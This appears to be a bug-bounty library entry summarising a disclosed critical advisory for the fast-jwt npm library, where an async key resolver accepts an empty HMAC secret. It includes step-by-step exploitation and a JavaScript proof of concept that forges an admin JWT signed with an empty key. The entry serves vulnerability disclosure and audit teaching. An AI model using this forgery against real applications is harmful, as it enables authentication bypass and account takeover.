# fast-jwt: JWT auth bypass due to empty HMAC secret accepted by async key resolver

fast-jwt's async key resolver converts an empty-string key into a zero-length HMAC secret, letting unauthenticated attackers forge HS256/384/512 JWTs with arbitrary claims.

- Payout: Research
- Severity: critical
- Program: fast-jwt
- Found by: bhaswanthc
- Disclosed: 2026-05-06
- CVE: CVE-2026-44351
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-gmvf-9v4p-v8jc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gmvf-9v4p-v8jc
- Tags: area:oss domain:oss impact:ato impact:privesc kind:research platform:ghsa sev:critical tech:jwt tech:nodejs technique:source-review vuln:auth-bypass vuln:crypto

**Target:** npm library fast-jwt verifier (async key resolver / JWKS pattern)
**Root cause:** prepareKeyOrSecret lacks a length check, so an empty string returned by an async key resolver becomes Buffer.alloc(0); detectPublicKeyAlgorithms then defaults to the HS family and createSecretKey accepts the zero-length secret, making HMAC verification attacker-computable.
**Steps:**
1. Configure verifier with async resolver returning '' for unknown kid: `createVerifier({ key: async (decoded) => ({'real-kid':'<real key>'}[decoded.header.kid] || '') })`
2. Build header `{"alg":"HS256","typ":"JWT","kid":"unknown-kid"}` and attacker payload (sub, admin, iat, exp) base64url-encoded
3. Compute signature as `crypto.createHmac('sha256','').update(`${header}.${payload}`).digest()` base64url-encoded
4. Send forged token `${header}.${payload}.${signature}` to verifier; it returns the attacker payload as authentic
**How found:** Noticed the async resolver path converts '' to Buffer.alloc(0) and passes it to createSecretKey without a length check, unlike the synchronous key path which short-circuits on falsy keys; traced detectPublicKeyAlgorithms defaulting to HS algorithms and confirmed createHmac accepts an empty key.
**Exploitation:** Unauthenticated attacker forges a JWT signed with an empty HMAC key; any app using a function-typed key resolver that can return '' (unknown kid, missing env var, DB miss) accepts it, granting attacker-chosen sub/admin/scopes. fast-jwt's default cache (size 1000) then caches the accepted forgery, so later resolver fixes don't invalidate it within TTL.
**Escalation:** Cache amplification: once accepted, verification result is cached, extending the forgery's validity beyond a runtime fix.
**Insight:** When auditing JWT libraries, compare the sync vs async key-resolution paths: falsy-key guards often exist only on the sync path, and empty-string/zero-length-buffer returns from JWKS-style `keys[kid] || ''` fallbacks silently become valid HMAC secrets.

## Proof of concept (copied exactly from the original report)

**Forged JWT signed with empty HMAC key**

```
const header = b64url(JSON.stringify({ alg: 'HS256', typ: 'JWT', kid: 'unknown-kid' }))
const payload = b64url(JSON.stringify({
  sub: 'attacker', admin: true,
  iat: Math.floor(Date.now() / 1000),
  exp: Math.floor(Date.now() / 1000) + 60
}))
const input = `${header}.${payload}`
const signature = b64url(crypto.createHmac('sha256', '').update(input).digest())
const forgedToken = `${input}.${signature}`

// Realistic JWKS-style verifier - looks up kid in a key map and falls back
// to '' when the kid is unknown (a widely-used JS idiom).
const verifier = createVerifier({
  key: async (decoded) => ({ 'real-kid': '<real key>' }[decoded.header.kid] || '')
})

console.log(await verifier(forgedToken))
```

**Vulnerable prepareKeyOrSecret without length check**

```
function prepareKeyOrSecret(key, isSecret) {
  if (typeof key === 'string') {
    key = Buffer.from(key, 'utf-8')
  }
  return isSecret ? createSecretKey(key) : createPublicKey(key)   // ← no length check
}
```

